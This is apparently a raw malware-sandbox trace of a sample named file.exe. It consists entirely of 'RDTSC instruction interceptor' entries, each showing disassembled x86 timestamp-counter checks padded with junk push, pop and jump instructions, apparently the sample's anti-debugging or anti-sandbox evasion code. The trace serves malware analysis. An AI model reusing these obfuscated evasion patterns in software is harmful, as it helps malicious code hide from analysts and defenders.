Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14429A8 second address: 14429B6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F34B47B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14429B6 second address: 14429BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1443040 second address: 1443069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F8F34B47B56h 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8F34B47B66h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1443069 second address: 1443096 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F8F347F9F24h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8F347F9F1Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1443096 second address: 144309A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1443533 second address: 1443565 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F347F9F16h 0x00000008 jmp 00007F8F347F9F24h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F8F347F9F24h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144369F second address: 14436A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14436A3 second address: 14436A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14436A9 second address: 14436C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8F34B47B5Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14436C0 second address: 14436C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14439BF second address: 14439DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jne 00007F8F34B47B56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F8F34B47B5Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14439DD second address: 14439E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448234 second address: 144824C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F34B47B64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448515 second address: 1448519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144867B second address: 1448681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1448AA8 second address: 1448AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F8F347F9F29h 0x0000000c pop esi 0x0000000d pop ebx 0x0000000e pushad 0x0000000f jl 00007F8F347F9F22h 0x00000015 jno 00007F8F347F9F16h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144904C second address: 1449072 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8F34B47B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jne 00007F8F34B47B56h 0x00000011 jnp 00007F8F34B47B56h 0x00000017 jl 00007F8F34B47B56h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jo 00007F8F34B47B56h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449072 second address: 1449082 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F8F347F9F1Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144BD11 second address: 144BD49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F8F34B47B56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e jmp 00007F8F34B47B65h 0x00000013 push edx 0x00000014 pop edx 0x00000015 pop esi 0x00000016 jmp 00007F8F34B47B5Fh 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144EC29 second address: 144EC49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8F347F9F16h 0x0000000a js 00007F8F347F9F16h 0x00000010 jc 00007F8F347F9F16h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push ecx 0x0000001b pushad 0x0000001c popad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144EC49 second address: 144EC4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E419 second address: 144E428 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E428 second address: 144E432 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8F34B47B56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E432 second address: 144E442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F8F347F9F1Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E75B second address: 144E767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pushad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14527BF second address: 14527C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145807A second address: 145807E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145807E second address: 145808E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 jc 00007F8F347F9F1Eh 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145808E second address: 145809D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F8F34B47B82h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145809D second address: 14580C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F347F9F24h 0x00000009 jnp 00007F8F347F9F16h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456A2D second address: 1456A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F8F34B47B56h 0x0000000a jc 00007F8F34B47B56h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456E28 second address: 1456E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F347F9F24h 0x00000009 jmp 00007F8F347F9F1Bh 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 push esi 0x00000013 pop esi 0x00000014 push edx 0x00000015 pop edx 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a pop eax 0x0000001b jo 00007F8F347F9F16h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456E5E second address: 1456E64 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456E64 second address: 1456E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1456E6A second address: 1456E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401E71 second address: 1401EED instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8F347F9F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d sub edx, 5798AD6Ah 0x00000013 mov ebx, dword ptr [ebp+12482F9Ah] 0x00000019 mov cl, 5Ch 0x0000001b add eax, ebx 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007F8F347F9F18h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 mov edx, 61AAB838h 0x0000003c pushad 0x0000003d sbb esi, 1D214F06h 0x00000043 ja 00007F8F347F9F1Bh 0x00000049 mov edx, 0488F3D1h 0x0000004e popad 0x0000004f nop 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F8F347F9F29h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401EED second address: 1401F5A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnp 00007F8F34B47B56h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push ecx 0x00000011 pushad 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007F8F34B47B5Ah 0x00000019 popad 0x0000001a pop ecx 0x0000001b nop 0x0000001c add dx, 5FD9h 0x00000021 push 00000004h 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 call 00007F8F34B47B58h 0x0000002b pop ebx 0x0000002c mov dword ptr [esp+04h], ebx 0x00000030 add dword ptr [esp+04h], 0000001Ch 0x00000038 inc ebx 0x00000039 push ebx 0x0000003a ret 0x0000003b pop ebx 0x0000003c ret 0x0000003d nop 0x0000003e jmp 00007F8F34B47B65h 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jnp 00007F8F34B47B5Ch 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1401F5A second address: 1401F5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14573D8 second address: 14573DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457D1E second address: 1457D3E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F8F347F9F25h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457D3E second address: 1457D46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457D46 second address: 1457D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457D4F second address: 1457D53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457D53 second address: 1457D57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457D57 second address: 1457D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jbe 00007F8F34B47B5Ch 0x00000010 pushad 0x00000011 jl 00007F8F34B47B56h 0x00000017 jmp 00007F8F34B47B60h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457D86 second address: 1457D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B38C second address: 145B3B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8F34B47B61h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B3B7 second address: 145B3BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B887 second address: 145B88B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B88B second address: 145B89B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8F347F9F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B89B second address: 145B8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145BB27 second address: 145BB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 push edi 0x0000000a ja 00007F8F347F9F16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1462B41 second address: 1462B76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B69h 0x00000007 jnp 00007F8F34B47B56h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F8F34B47B62h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1462CF6 second address: 1462D02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8F347F9F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1462D02 second address: 1462D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463128 second address: 1463144 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F23h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146370E second address: 1463718 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8F34B47B56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464285 second address: 146429F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F26h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14694FD second address: 1469501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469501 second address: 1469528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F347F9F27h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jc 00007F8F347F9F16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469528 second address: 1469541 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B65h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469541 second address: 1469575 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 jmp 00007F8F347F9F1Bh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F8F347F9F25h 0x00000015 popad 0x00000016 je 00007F8F347F9F22h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1469575 second address: 146957B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C6B0 second address: 146C6C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F347F9F1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146C6C3 second address: 146C6FB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F34B47B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F8F34B47B5Eh 0x00000010 jmp 00007F8F34B47B66h 0x00000015 popad 0x00000016 jno 00007F8F34B47B8Ch 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CB12 second address: 146CB16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CC85 second address: 146CCD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F8F34B47B62h 0x0000000b jnp 00007F8F34B47B56h 0x00000011 jmp 00007F8F34B47B63h 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F8F34B47B66h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CDF1 second address: 146CE19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8F347F9F16h 0x0000000a jmp 00007F8F347F9F23h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 js 00007F8F347F9F16h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CE19 second address: 146CE34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F34B47B67h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CE34 second address: 146CE3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8F347F9F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CE3E second address: 146CE42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146CE42 second address: 146CE5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8F347F9F20h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146D153 second address: 146D159 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474E49 second address: 1474E52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1474E52 second address: 1474E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473186 second address: 14731A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8F347F9F21h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147345D second address: 147347A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F8F34B47B5Eh 0x0000000b push edx 0x0000000c pop edx 0x0000000d je 00007F8F34B47B56h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473C0A second address: 1473C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473C10 second address: 1473C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473C14 second address: 1473C2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8F347F9F20h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473C2A second address: 1473C34 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1473C34 second address: 1473C5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F8F347F9F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jmp 00007F8F347F9F22h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnl 00007F8F347F9F16h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14744CA second address: 14744DC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F8F34B47B56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F8F34B47B5Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14744DC second address: 14744E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14744E7 second address: 14744EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14744EB second address: 14744F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1472BF3 second address: 1472BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1472BF9 second address: 1472C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1472C02 second address: 1472C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1472C06 second address: 1472C0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147CDBC second address: 147CDC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
